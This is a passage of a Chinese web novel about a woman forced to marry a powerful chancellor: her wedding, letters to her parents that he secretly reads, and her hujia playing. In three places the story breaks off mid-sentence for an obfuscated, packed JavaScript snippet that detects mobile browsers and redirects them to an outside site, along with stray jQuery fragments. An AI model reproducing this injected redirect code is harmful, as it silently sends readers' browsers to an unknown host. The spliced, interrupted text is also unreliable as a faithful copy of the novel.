萧齐业坐在銮驾上,望着一如既往那样云淡风轻、仿佛泰山崩于前而色不变的荀令,心中不免有些失望。这家伙涵养功夫太深,想令他失态殊为不易。 到了大门口,荀令把向晚词放下来。 一旁的喜娘说:“新娘子该跨火盆了,请新郎牵着新娘跨火盆。” 一只手伸过来,牵住了红绸。向晚词跟着红绸的指引,跨过了火盆。一堆琐碎的礼仪过后,就到了拜堂的流程。 本来这个流程没什么,按照正常的步骤进行就可以了。 荀令亲生父母早已去世,他是被荀员外家收养的,随养父姓。他养父母也已经去世,他就没有任何高堂可以拜了。 向晚词双亲都在,但礼部的人从没打算让她的父母来这里受新人一拜。礼部官员在正堂内设了荀令养父母的牌位,本打算让新人拜牌位。 可是萧齐业来了。要是真有高堂在,拜高堂理所当然。可是没有高堂,只有牌位。放着天子不拜,而去拜牌位,这就于礼不合了。 司礼苻玚临时更改了步骤,请萧齐业去主位就坐。 “天子是君父,高堂不在,自当拜天子。”苻玚如是说。 闻言,萧齐业当即应允。充当荀令的高堂,他可乐意得很。 苻玚的话一出来,所有宾客都去看荀令的脸色。 他身姿挺拔如竹,穿着一身喜庆的大红婚服,依旧眉疏目淡,风仪清隽,秀出群伦,让人不由自惭形秽。听到苻玚的话,他仍然气定神闲地站在那里,仿佛什么都没听到。 见此情状,几乎所有的宾客都是一个想法,这家伙到底什么时候才会失态? 向晚词看不见周围的情形,她只能从盖头缝隙处看到一只手,一只握着红绸的手,骨节分明,修长白皙,十分好看。在司礼说出那句话时,她看到那只好看的手稍稍向内紧了紧,然后立刻松开。要不是她刚好在看那里,也不会注意到这转瞬即逝的一幕。 向晚词马上明白,他不愿意拜皇帝。也是,强行给他赐婚的皇帝,他愿意拜才怪了。她也不愿意,可惜由不得她不愿意。 萧齐业走到主位旁,一撩衣袍,坐了下来。他身着华贵的玄袍,姿势甚是优雅。在大庭广众下,皇室该有的举止仪态他一点都不缺,再加上冠绝皇室的出众容貌,一时间把众宾客都衬得黯淡无光。 周围的宾客看了不由暗叹,皇上和荀相果然是天眷国少有的美男子,还有旁边与荀令同为“天眷双璧”的苻玚,他们三个就占尽了京城的风华。可惜苻玚早婚,荀令今日也成婚了,就只剩下皇上,成为京城闺中女子的念想了。 见萧齐业坐下了,苻玚就开始主持最后的拜堂仪式。所有宾客的目光又到了新娘子身上,拜堂的时候人的动作幅度很大,说不定会有机会从盖头缝隙里看到新娘子的容貌。 “一拜天地。” 向晚词和荀令转身面向外面,对天一拜。 “二拜君父。” 向晚词和荀令转身面向萧齐业,对他一拜。 萧齐业脸色甚是和悦,嘴角带笑,看他们对自己拜下去。 “夫妻对拜。” 向晚词和荀令面对面,相对一拜。 三拜过后,宾客们失望了。新娘子行礼时,红盖头一直好好顶在头上,半点缝隙也没给他们找着。 这是教习嬷嬷们连日训练的成果,行礼时举止要优雅得体,发出的声音要轻不可闻,衣物头发首饰要一丝不乱,盖头自然也要盖得稳稳当当,不能让人偷看到。 三拜结束,礼就成了。 萧齐业起身,手一挥,就有人前来摆上早已准备好的空白条幅。条幅的纸是红色的洒金天蚕丝纸,是番国贡品,一张就价值千金。 萧齐业接过笔,在纸上一挥而就,写下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隔着层层嫁衣和红盖头,新娘子的一切都被遮住了,连头发都被盖头遮完了,没人能看到一星半点。只有声音是遮不住的,可惜她行完礼后就站在那里,再未说半个字。 打量片刻后,萧齐业收回目光,虚虚抬了抬手,说:“不必多礼。” 惊艳过后,打听过新娘子底细的宾客都一阵惋惜,收回探寻的目光。如此动人的声音,若容貌未毁,定是位美人,可惜了。 喜娘和嬷嬷们扶着新娘子,向新房走去。众人的反应她们都看在眼中,关于新娘子的各种流言她们都听闻过。新娘子是何模样,她们也很清楚。谁都没有多话,话多的人可活不长久。 婚房被设在荀府内宅的一个独立的院落中,已经被礼部派来的人布置好了。荀府本来没有内宅的,荀令未成亲,府里的护卫和下人全是男人,也就无所谓内宅外宅。 如今的内宅是新划分出来的,所有家具陈设都是礼部的人置办的,新娘子的嫁妆也早就抬到这里放置好了。就连在院落中伺候的丫鬟仆妇,都是荀府的管事新买来的。这桩婚事不管内情如何,面上该做的还是得装装样子,不能落了把柄。 到了婚房后,向晚词被扶到婚床旁坐下。喜娘和嬷嬷们都退走了,婚房里就只剩她一人了。 她坐回婚床上,听着外面的动静,心里默念别来别来别来。念着念着,不觉睡意沉沉。今日她很早就被拽起来了,折腾了一天,实在困了。不多会儿,她就睡着了。 荀令来的时候,就看到了靠在床边似乎是睡着了的新娘子。荀令站在房门外,敲了敲门框。静夜里,这声音异常清晰,向晚词一下子就醒了,不由坐直身子,保持嬷嬷们教她的坐姿。 4. 天水步泪泊晚虚 见她醒了,荀令便开口了:“有事找院子里的人。” 扔下这句话后,他转身就走,再不停留。 发现荀令来了时,向晚词的心一下子就提起来了。等荀令走了,她的心又放了回去。 太好了。 向晚词当即起身,摸到门边,把门关起来,摘下盖头,长舒一口气。 她走到妆台旁,把满头珠钗首饰全都卸下来,放在盒子里,戴这么多东西,重死了。一股脑卸去簪环后,向晚词又把一层又一层的嫁衣脱下来,把衣服叠好放在床头。 翻了翻柜子,向晚词从一堆奢华的陪嫁衣服中翻出一套素一点的换上。在衣柜里找了很久,才找到能充当面纱的方巾。帷帽没有现成的,她就拿披帛做了一顶。 做好帷帽后已经是深夜了,向晚词再也支持不住,匆匆洗漱之后就去睡了。 婚房内有一个单独的小房间,那里面有竹制的管子,把外面的活水引到了屋内,随时都可以打开使用,引来的还是温泉水。房内还有能把水排出去的下水道,在房中就可以完成洗漱沐浴,不是寻常百姓家中能有的。 丫鬟仆妇们都在外面候着,见新夫人一直没唤她们进去伺候,不由心中惴惴。等看到房间里熄了灯,一群人才放下心来,各自回房去了,只留下两个守夜的人。 到了一个陌生的环境里,向晚词也不认床,很快就睡着了。 一觉醒来,天光大亮,没人来吵醒她逼她去练习了。她反应了一会儿,才想起自己现在已经不在家了。她到了一个陌生的地方,不知道还要在这里待多久。 不知道娘和爹怎么样了? 她已经嫁过来了,太医应该不会再去给娘看病了。没关系,有那么多聘礼在,足够药费了。以前用不起太好的药,现在都可以用了,也可以请更好的大夫了。 他们还要关着爹吗?应该会让爹回家了吧,现在再关着爹也没用了。能不能让爹回国子监去?国子监一月只要去几次,爹才有时间在家照顾娘。要是回不去,爹就没时间照顾娘了,还要每天去吏部办差。 向晚词一下子坐起来。 不行,得去看看。 起床洗漱更衣后,向晚词就准备往外走。走到门前,她忽然想起,如今她已不在家中了,已经嫁做人妇了,是不可以想出门就出门的,想要回家也得看人家同不同意。 新婚第一天就说要回家,这种要求恐怕很难同意吧。 思量了一会儿,向晚词走到桌旁,找出笔墨纸砚,开始写信。写完收好后,向晚词走出房外。 外面早有两个丫鬟候着,见她出来,忙上前来施礼。 “奴婢见过夫人。” 听到这个称呼,向晚词就是一愣。顿了片刻,她才开口:“起来吧。” 两个丫鬟站起来后,向晚词问:“要是我想出门,要找谁去说?” 向晚词不知道这事是谁管的,她想应该不是那个丞相亲自管,多半是府里的管家或管事之类的人管。 “回夫人,府中出入是白管事在管,奴婢这就去找白管事。”其中一个十五六岁的丫鬟回道。说完,她就朝院外走去。 另一个丫鬟问:“夫人可要用早膳?” 向晚词想了想,说:“把东西放到房里去,不用人在旁边伺候。” 丫鬟悄悄瞥了一眼新夫人被遮得严严实实的容貌,想起府中的传言,乖巧地应下,马上去端早膳了。 早膳是白管事让人送来的,送饭的人还传了话,说是要看着夫人吃下去。丫鬟把早膳放好后,就退到门外。 向晚词把门关好,插上门栓,才到桌前吃东西。她没开窗,窗子也是插好的。 丫鬟走到窗下支起耳朵听,听到里面传来的轻微的碗筷碰撞声、咀嚼声,这才放心。 去传话的丫鬟回来了,看到另一个丫鬟站在窗下,便放轻了脚步,悄悄走过去。两人互看一眼,都站在那里听,等房中的咀嚼声消失后,才走到门边侍候。 过了一会儿,房门打开,向晚词走了出来。见传话的丫鬟回来了,她问:“如何?” 丫鬟说:“回夫人,白管事说,如果夫人要出门就派人去他那说一声,他会派马车和侍卫护送夫人。” 闻言,向晚词很高兴,当即说:“我今天就想出去,我想回家一趟,你去跟白管事说一声。对了,你叫什么名字?” “回夫人,奴婢叫青露。” “那你呢?” 另一个丫鬟说:“回夫人,奴婢叫碧荷。” 回完话后,青露去通知白管事备车。碧荷本来要伺候向晚词更衣的,被她拒绝了。 回到房中,在柜子里翻找了许久,向晚词才找到不是很华贵又不是很寒酸的衣服。那一堆衣服都是织造局制作的,大部分都质地精良、色彩艳丽、绣工精细,太过惹眼。她不想引人注意,却也不能穿得太寒酸,让人非议。 把衣服换好,收拾妥当了,向晚词才出门。青露已经回来了,正在外等候。向晚词出来后,两人便引着她朝荀府侧门走。 荀府很大,但住的都是些男人,就没有寻常大户人家会为小姐夫人准备的,专供内宅代步使用的小轿和马车。向晚词平时在家出门都是走路,去逛庙会烧香礼佛也都是走路,走惯了不觉得累。 到了侧门外,向晚词和青露、碧荷上了马车,车夫便驾车往南城走。过了几条街道,快到皇城门口时,城门那边来了大堆禁军,把城门围住了,不让人通过。 前前后后的马车排了不少,这下全都被堵住了。 过了一会儿,城门彻底被关起来了,不准出入。 向晚词掀开帘子往外看,就看见紧闭的城门。这时,一个荀府侍卫走到车前禀报:“夫人,城门被封了,今日出不去了。” 向晚词轻叹一口气,说:“那去吏部衙署吧。” “是。” 吏部衙署离得不远,很快就到了。到了吏部后,向晚词让侍卫去问问,看向谦有没有在吏部。侍卫进去,没多久就出来。 “夫人,向老爷今早到了吏部,已经告了假,准备出城去,到了城门后城门关了,他就出不去了,这会儿向老爷正在衙署里。” 一听这话,向晚词有些焦急。爹被关在皇城里,就只有娘一个人在家里了。 她忙问:“城门要什么时候开?” “禁军那边在缉拿一个刺客,可能要全城搜捕,不知何时才会开门。” 正说话间,向谦从衙署中出来了。向晚词从窗缝中看见了,就叫了声爹。 向谦听到了,快步走到马车旁,低声道:“小词,新婚第一日,你怎么出来了?是要回家去?” “我想去看看娘。” “你娘有我照顾,你别担心。我出来时托了刘婶娘和赵婶娘照顾你娘,吃食和药我都备好了。等城门开了,我马上就回家去。你快回丞相府去,这不合规矩。” 马车周围都是丞相府的人,向谦也只能捡官面上的话说。 向晚词明白他的意思,点点头,把怀里的信拿出来递给他。向谦接了信,收到怀中藏好,不再说什么,就匆匆进衙署去了。 出不去城,向晚词也没了在外逛的心思,就让马车回荀府去。到了荀府,她就回了新房。 —— 把向晚词护送回去后,之前回话的侍卫拿着一封信,去回禀荀令。 “启禀相爷,这是夫人给她父亲的信,卑职带回来了。” 侍卫捧着信送到荀令面前。向谦把信放到怀里去后,他就趁机把信摸了出来。他武功高强,出手迅捷无伦,向谦全然未察觉。 荀令接过信,侍卫退下。 旁边的吴代瞟了一眼,看到信封上的字,不由道:“好字,好字,这一笔‘雁体’如云鹄游天,群鸿戏海,尽得‘雁体’三昧,写得好!” 他说话的时候,荀令打开了信封,里面装着两封信,一封是用“雁体”写的,另一封是用“典春体”写的。“典春体”那封放在上面。 一见上面那封,吴代又是一声赞:“好字,这‘典春体’如红莲映水,碧沼浮霞,比‘雁体’写得更好。可惜如今‘典春体’不如‘雁体’受追捧,会下苦功去学的人不多。延之,你这新夫人写得一手好字啊。” 荀令没接言,他仔细看着信中的内容,比起字,他更关心信的内容。那就是两封家书,用“典春体”写的那封是给母亲的,用“雁体”写的那封是给父亲的。 荀令细细读着。 写给父亲的信,把家中的财物都交待了一遍,交待了这些琐碎事务后,又提到了聘礼的事。 “那些箱子太多了,都堆在隔壁的宅院里。我跟嬷嬷们说好了,会租借隔壁宅院一月。要先把那些箱子处理掉,一直堆在隔壁,那么多东西会招贼的。 长乐街上有一家当铺,叫恒通当铺,我已经打听清楚了,当铺的东家是王驸马,就是跟你同年的那个探花。他人挺好,开当铺也不黑,那里当东西还算公道。你把东西拿到那里去当,直接当死当,别当活当,能多得一成。 箱子里的东西我都一一问过嬷嬷们,大概价值多少都写在单子上,单子在我房中的书柜第二层。你照着单子上的价去当,能当个七八成就可以了。 得来的钱不要全留在手里,留三成就足够了。剩下的可以存到丰隆、大通、兴源、永业这几个钱庄去,分开存,每个存一些。这几个钱庄都是信誉卓著的老字号,在各地也有分号,兑银票比较便利。 昌华街上有一家妙手堂,里面的坐堂大夫是杨太医的徒弟秦大夫,医术很好,那里的药也是顶好的,不会以次充好。 杨太医开方子的时候我悄悄看过,都默写下来了,也放在书柜第二层。其中有几副药娘吃了效果很好,我做了标记,没有标记的方子不要用,效果不好。方子里要用到人参、茯苓那些贵的药材,你就去妙手堂买。娘要是不好了,你就请秦大夫去看。 别担心钱的事,我算过了,聘礼换来的钱够娘一直吃最好的药了,以后直接全换成好药,以前的都不要吃了。 你现在被调到吏部去,不能时常回家,只有娘一个人在家了。如果你不能再调回国子监去,我们就在皇城里租一座宅子,把娘接到皇城来住。她一个人在南城,我不放心。皇城里的大夫也比南城的好,如果住到皇城,我们再找更好的大夫看。 皇城里的宅子不好租,魏房牙那里偶尔会经手这样的宅子。魏房牙人还不错,心不太黑,说话做事都很和气,可以找他。你跟他说说,让他留意着,等等看有没有适合的。 ……” 雁体细细密密,把几页信纸都写满了。荀令看了一会儿,才把这封信看完,又接着看下一封。 写给母亲的信,报喜不报忧,捡着好的地方一点点说给母亲听,能夸的都一通夸,连住处用的水是温泉水都说了,显然是不想让母亲担心。 “以后我就不用起来烧水了,直接用温泉水就行了。要是家里也有这种水就好了,娘时时都能用上热水,能省不少柴火钱。 衣服也够穿,柜子里有很多嫁妆衣服,穿许多年都够了,就是太花哨显眼了,穿出去肯定要惹人注意。我也没得挑,只能选点素的穿。 这里的东西也挺好吃的,我都吃得惯,虽然没有爹做得好吃。院子里没太多下人,就几个,也还好相处。 …… 荀丞相是被逼着娶我的,昨天他来了一趟就走了,看样子以后也不会来。再过段时间,我找机会犯上七出中的一条,他就有借口能休掉我了。 我已经想过了,他父母已经过世了,不顺父母这一条是不行的。 无子、淫、妒,这三条我也做不到。只能在有恶疾、口多言、盗窃这三条里选一条。 有恶疾这条难度太高,我现在也找不到什么能患的恶疾了。口多言这条比较模糊,不容易证据确凿。 剩下只有盗窃这一条,如果人赃并获,即便是御赐的婚事,也能休掉我了。我从嬷嬷们那里问到了不少辨别物品价值的方法,会选合适的东西偷的,不会选太贵或太便宜的,会足够休妻的。 娘你别担心,我能做好的。等我回家了,我们一家人又能在一块了。我在这里一切都好,会照顾好自己的,娘你别担心我,要记得按时吃药,别忘了……” 吴代本来在欣赏字的,看着看着就被其中的内容吸引了。 看到上面列的财产账,吴代不由摇头。一个榜眼出身的国子监博士,为官那么多年,却只有那么点家财,还有许多是靠女儿抄经赚来的,实在清廉得可以。 看到上面写的卖聘礼给娘治病的话,吴代叹了一声。他也有娘,他娘也病了多年。当年的他一贫如洗,连给娘治病的钱都拿不出,到处帮人抄书赚钱给娘凑药费。要不是荀令,他娘早就病死了,也没有今天的他。 看到上面写的准备犯七出让相公休掉自己的话,吴代想笑,又有些笑不出来。 沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127952|180139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良久,吴代长叹一声,说:“延之,留她一条命吧,她并未犯什么过错,也只是被皇帝挑来嫁给你的工具。我等在这波诡云谲的官场上浮沉,能不牵扯进来的,就放人家一条生路吧。” 荀令神色沉静如水,语声依旧淡如茶汤:“你的心还不够硬。她已经被牵扯进来了。如今苻玚扣着向谦在手里,是不会放他走的,指不定何时就变成一把对付我的刀。她不死,我跟向谦就断不了干系。她犯七出被休,也是我的污点。” 闻言,吴代又是一声叹,不再多言。 荀令把信折成原样,装回信封中,敲了敲墙板,方才退下的侍卫又走进来。 荀令把信递给他,说:“放回原处。” “是。”侍卫接信离开。 待侍卫走后,荀令又道:“人和街上的元亨当铺,是华国舅开的,开价比恒通当铺更公道。玄武大街上的春和堂,坐馆大夫是赵太医的首徒,医术医德远超杨太医。未央街上有间宅子,是已故郑学士的老宅,清静安全,派人去找那个魏房牙,给他未央街的宅子,让他去经手租给向谦。” 吴代点头,脸上又出现些笑,说:“我知道了,会派人去全办好的。如此,也算补偿她一二了。” 荀令淡淡道:“想补偿的是你,我只想把人控制在手里。” 吴代看向他,摇头道:“延之,你说我心不够硬,你的嘴却硬得很。只是要把人控制在手里,让她娘到皇城里来就够了,那她跑都跑不了,何必再找当铺和大夫?” “买命钱,买她一条命。” 吴代长叹,说:“我说不过你,你怎么说就是什么吧。” —— 回到新房后,向晚词有些茫然,不知道该干什么。往常在家里,她有许多事情要做,打理菜圃、抄经、熬药、洗衣,还有跟父母一起整理编纂《古今乐谱集成》。 搜集编撰古往今来的乐谱是母亲的毕生心愿,父亲去国子监授课,也因为那里的藏书阁收藏了许多秘本、孤本。他们一家三口多年以来一直都在搜集编撰这个,已经有了不少成果,只是离大功告成还远得很。 不做这些事的时候,她也会出门去逛逛,想去哪里都可以。娘精神好的时候,他们一家三口也会一起出去游玩。现在她没这些事要做了,也没了出门自在逛街的自由了,想要再跟父母一同出游也很难了。 想到这些,她轻轻叹了口气,越发觉得闷坐在房中难受。 在房中呆不下去,她就去翻找那堆嫁妆,想找出点能打发时间的东西来。找了一会儿,在无数珠宝首饰器物中找到了一支胡笳。 这是太常寺下属的司器署收藏的,丞相大婚,这胡笳就被礼部按照规制选进了嫁妆中。当然不是给新娘子吹的,只是作为一种陪嫁的礼器。 先帝喜胡乐,连带着京中贵胄也对胡乐追捧起来,太常寺就收藏了许多胡制乐器。贵胄嫁娶时,也会以胡制乐器做为聘礼或陪嫁。 没想到会在里面看到自己喜欢的乐器,向晚词很高兴,当即试了一下。沉郁苍凉的胡笳之音就在喜庆奢华的婚房内响起,像是到错了地方一样。 —— 荀令到了藏书楼时,就听到了远远飘来的胡笳声。府里没人会吹胡笳,整个天眷国就找不出几个会吹胡笳的人。不是府里的人吹的,自然就是昨日刚到这里的人吹的。 他静静听着。藏书楼临水,笳声顺水传来,和着水音,分外旷远。荀令闭上眼睛,仿佛置身塞外草原,看到了金戈铁马,烽火狼烟,鼓角联营,衰草连天。 荀令很喜欢胡笳,胡笳声最悲,是他儿时忘不了的回忆。到了京城后,他就很少能听到这熟悉的笳声了。 胡笳声一响就响了一刻钟,胡笳声停的时候,荀令仍意犹未尽。 发觉胡笳声停了后,他微微皱眉,走到四楼,往内宅的方向望去。他目力甚佳,隔了那么远,依旧能清楚地看到那边的情形。 新房的院子里,两个丫鬟正站在新房门前。门开了,方才还在吹胡笳的人走了出来,浑身包得严严实实,不让人看到一星半点。 看到如此情形,荀令想起了吴代给他的卷宗上面的记录。 先帝最后一次选秀时,她刚好满十三岁,在候选之列。先帝好色,没有十分颜色的女子入不了他的眼,相貌不佳的女子不会被选中。但先帝最喜胡乐,只要会奏胡乐,他都会另眼相看,哪怕容貌平平也无所谓。 要不是得了痘疹,脸上留了麻子,她一定会被选上的。 思索间,那人回了房,凄凉的胡笳声又传了过来。荀令站在楼头,闭目静听。刚听没多久,笳声又断了,荀令的眉头皱得深了一些。他睁眼,又有人站在新房门前,正在敲门。 这些下人这么闲? 荀令望着远处,眸光静如止水。 片刻之后,门关了,笳声又起。荀令闭目听了没多久,笳声再一次断了。 荀令没睁眼,等了许久,没有再听到笳声,他才睁眼。远处的院子里没人,却也没了笳声。 荀令开口:“来人。” 暗处有人闪出。 “让白管事把向小姐请到这里来。” “是。” —— 向晚词正在新房中记录曲谱。方才她有感而发,即兴吹了一段曲子,觉得很不错,就想记录下来。刚记下来,房门又响了,有人在外面说话。 “夫人,相爷有请。” 向晚词呆了呆,有点怀疑自己是不是听错了,不由问:“什么?” “夫人,相爷有请。” 原来不是她听错了,那个丞相找她做什么?难道是因为她今天出去了,不合规矩,要找她的麻烦吗?应该不是,要是他不允许,白管事也不敢让她出去的。 向晚词应了一声,一边想,一边给自己遮严实了,走出门去。 一个五十多岁的男子正站在院子外候着。见她出来了,那人上前行礼道:“小人是府中的管事,姓白。相爷有请,夫人请随我来。” 向晚词什么都没问,跟着他走。 走过许多亭台轩馆,就到了一座异常幽静的小楼前。到了这里,白管事就不往前去了,只请她自己进去。 向晚词有些忐忑地走进去,一抬头,就看见了立在楼头的青衣男子,眉目疏淡,鹤骨松姿,临风而立,如谪仙下凡,风华无双。 正在此时,青衣男子低头看过来。他的目光似乎能穿透遮挡,隔着帽纱对上了她的眼睛。 5. 天水步汨洎晚虚 向晚词望着他,心中有些恍惚,这就是那个丞相吗?这样一个人物,为什么迟迟没有娶亲?是不喜女子,还是其他?爱慕他的闺中女子定然很多吧,这次他被皇帝赐婚,肯定伤了许多爱慕他的女子的心。 望了片刻,向晚词收回目光,朝楼上走去。 藏书楼里没有其他人,空旷又安静,荀令能清晰地听到走上来的人的脚步声,不急不缓,不轻不重,每走一步发出的声响都差不多。 听到这脚步声,荀令就知道她不紧张,也没有害怕。人在紧张害怕的时候,脚步声难免会有些杂乱。 一楼又一楼,向晚词缓步走上四楼,看到了立在栏杆前的荀令。她走上前,隔了一段距离站定,轻施一礼,说:“见过丞相大人。” 声音一如昨日那般,如春山碧水,清泉落花。 听到她对自己的称呼,荀令很满意,他可不想听到夫君、相公之类的称呼。 “你会吹胡笳。”荀令开口了。 “会一些,方才是我打扰丞相大人了吗?”向晚词不由朝新房的方向看了一眼,只能看见模糊的轮廓,根本看不清具体的事物。隔得那么远,笳声还能传到这里来?应该听不到的吧。 荀令不答,又问:“那是什么曲子?” “那是我随口吹的。” “再吹一曲。” “啊?”向晚词愣了一下,随即反应过来,“那我去拿胡笳。” 荀令淡淡地吩咐:“天一,你去。” 话音刚落,暗处有人影一闪,几个纵跃,便到了新房那边。向晚词望着那个身影,这就是传说中的暗卫吗? 不多会,人影又出现,一个戴着面具的黑衣男子纵跃到楼头,手里正拿着那支胡笳,到了她面前。 向晚词接过胡笳,黑衣男子消失。她拿着胡笳,看了看荀令,欲言又止。 “你到三楼去吹,没人会打扰你。”荀令凭栏远眺,头也不回地说。 “好。” 向晚词马上应了,朝三楼走去。到了三楼,她反复确认周围没人,找了个房间进去,把门窗都关好,才开始吹胡笳。 荀令耳力过人,把她的举动都听在耳中。待到胡笳声起,他又闭目静听。这次没谁再来打搅,胡笳声就未被打断。 方才记录曲谱的时候,向晚词已经想到了一段后续的部分,这会儿就顺着那部分吹起来。 她没去过塞外草原,她一出生就是在京城,除了京城周边的一些地方,她就没有去过其他地方。她娘是塞外来的,从小就给她讲塞外的风土人情,她对塞外的了解都来自娘。 胡笳也是她娘教她吹的,她娘以前很擅长吹胡笳,自从病了后就吹不了胡笳了。她就好好学,娘想听的时候就吹给娘听。 向晚词吹着胡笳,就想到了娘,曲调不知不觉柔和了许多,少了几分苍茫辽远,多了几分悠扬绵长,如同草原牧民的低吟,在藏书楼内回响。 一曲终了,荀令心情甚是和畅,难得能听到这么合他心意的胡笳。太常寺胡乐署的那些胡人乐师匠气太重,吹出来的音都是先皇喜欢的调子,很不合他的心意。 吹完曲子后,向晚词遮好面容,在房间里找了纸笔,把曲谱写了下来。写好曲谱后,她走上四楼。 她走到荀令面前,把曲谱递过去,说:“我把方才吹的曲子记下来了,丞相大人如果想再听的话,可以找人照这个吹奏。” 荀令接过曲谱,上面用飘逸的雁体写了谱。 向晚词又是一礼,说:“多谢丞相大人今天准我回家去,就不打扰丞相大人了。” 说完,她拿着胡笳直接走了。 荀令目送她下楼,逐渐远去。她身姿窈窕,穿梭在曲院回廊中,颇有春柳盈盈之态。若不是受痘疹所累,绝不会到现在还没人愿意娶她。 待人进房后,荀令望向手中的曲谱。找人吹奏,能把胡笳吹得像样的,京城里就没几个。 —— 回到新房中,向晚词把整首曲子的曲谱整理出来,誊抄在纸上。誊抄过程中,她又想到了新曲子,就把新曲谱写在纸上。这么一整理,不知不觉就到了黄昏。 丞相府是一日两餐,中午的时候向晚词觉得饿了,也没有跟人说要吃食,吃了些点心垫着。到了吃晚膳的时候,她就觉得晚膳的味道比早膳更好,不知道是不是饿了的缘故。 吃过饭后,向晚词就在院子附近散步。走着走着,就听到了一阵琴声,那琴声幽微、寂寥,在明媚鲜妍的花园中出现,多少有几分格格不入。 向晚词站在那里听了一会儿,就知道弹琴的人是谁了,那个丞相。 天眷国的读书人都要学习儒家六艺,礼、乐、射、御、书、数。在乐这一项中,大多读书人学的都是琴,琴是君子之器,向来都备受文人雅士的推崇。 在天眷国,琴艺也是考校学子的一门重要指标。在国子监中,琴艺差的太学生不会有太好的评价。在科考中,善琴艺对声名有不小的助益,会被人另眼相看。在最终殿试的时候,也会有考校琴艺这一项。 听说那个丞相是当年的状元,有此琴艺理所当然。只是向晚词有些不明白,这样一个年纪轻轻就身居高位的权臣,为什么琴音之中带着落寞萧索,隐约还有些郁郁不得志的幽忿。 他要是还算郁郁不得志,那谁还能算春风得意? 难道是自己听错了? 向晚词仔细听,听了又听,一听再听,听到琴声消失时,终于确定自己没听错。 原来那么春风得意的一个人,也有很不得意的事吗? 是因为父母去世得早,不能孝顺于双亲面前? 向晚词首先就想到这个原因。她自己家庭和睦,父母对她视若珍宝,一家人感情甚笃,以己度人,她就想到了这个。 不对,那应该是孤苦伶仃,而不是郁郁不得志。 对了,应该是未遇明主,满腔才智抱负不能施展。那皇帝强行给他赐婚,摆明了是不尊重他这个人,更别说什么信任重用了。 君臣失和,相互猜忌,应该是为官的人最不愿意遇到的。士为知己者死,自古以来知遇之恩就是臣子最看重的。如果遇上了昏君,明珠暗投,自然就郁郁不得志了。 不过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127953|180139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那皇帝算昏君吗? 那皇帝才登基没两年,还没什么作为,算不上明君,似乎也算不上昏君? 强行赐婚这一点很昏君。连当朝丞相都不尊重,对其他官也不会太尊重,不尊重官员的皇帝,很有昏君的潜质了。摊上这样的皇帝,当官的不会太好受。 想明白了之后,向晚词叹了一声,转身回新房去了。这事与她无关,即便有关,她也无能为力,别人的事人家自己会操心,还是过好自己的日子吧。 回房后,向晚词抄了会儿经。她抄经抄习惯了,没事做的时候就会去抄经。时候差不多后,她就去睡了。 嫁到丞相府的第一天就这样过去了。 —— 次日,向晚词一起来,就让青露去问城门开了没。青露去问了府中的侍卫,开了。向晚词松了口气,心情好了许多。 吃过早膳后,她就在院子中练习太极。这是她娘教她的,让她常练,说是能强身健体。练完太极,她就让碧荷去找些书来看。她在家里有许多书,可惜没机会带来。 其实她也带不进来,凡是到丞相府里的书,都要经过专人检查。以免有什么不该带的书进来,比如反书,给人家抓到把柄。 碧荷去了,没多久就拿着一些话本回来了。向晚词翻了翻,都是些闺阁小姐们喜欢看的话本。她对这些没什么兴趣,不过有得看总比没得看强。 到了下午,她就没再吹胡笳了。昨天不知道笳声会传到那边被丞相听到,今天她就不吹了,免得让人误会她是有意引人注意。她只想静静在这里待着,待到合适的时机就离开,能不和那个丞相打交道就不打。 —— 荀令坐在藏书楼上看书。看了许久,也没听到笳声,荀令放下书,道:“找她来,带着胡笳。” —— 正在新房中看书的向晚词又听到了白管事的声音。 “夫人,相爷请您带着胡笳去藏书楼一趟。” 听到这话,向晚词愣了一会儿,才说:“我知道了。” 拿着胡笳到了藏书楼,向晚词又是一个人进去,楼里依旧只有荀令一人,他正坐在书案前看书。 这回荀令没废话,直接指了指三楼。 向晚词明白他的意思,三楼吹笳,没人打搅。她也不说什么,直接行了一礼,就去了三楼。 人在屋檐下,他这个主人有什么事,她都会尽量听从,哪怕不情愿。她以后要出府回家,还要经他允许,不能得罪了他。反正只是吹笳,往常在家也要练的,吹就是了。 到了三楼,关好门窗,向晚词就开始吹昨天下午新想到的曲子。 笳声一起,荀令就闭目细听。今天这首吹得更舒缓松弛,比昨日吹得更好。应该是听到父亲能回家照顾母亲,终于放心了,所以才吹得那么放松。 荀令一边听,一边想。 一曲终了,向晚词想了想,还是把今天的曲谱也写了下来。到了四楼,她把曲谱放在桌案上,退后好几步,站在两丈开外。 荀令放下书,拿起曲谱,一边看,一边问:“离那么远,我会吃人?” 6. 天水步汨泊晩虚 闻言,向晚词呆了一下,朝前走了两步,干巴巴地说:“不会。” 听到这种回答,荀令不由抬起头来扫了她一眼,又低头继续看谱。 他没说话,不知道为什么,向晚词却从他平静的目光中读懂了他的意思,不会吃人你站那么远。她又朝前走了几步,走到书案前,还是隔了一点距离。 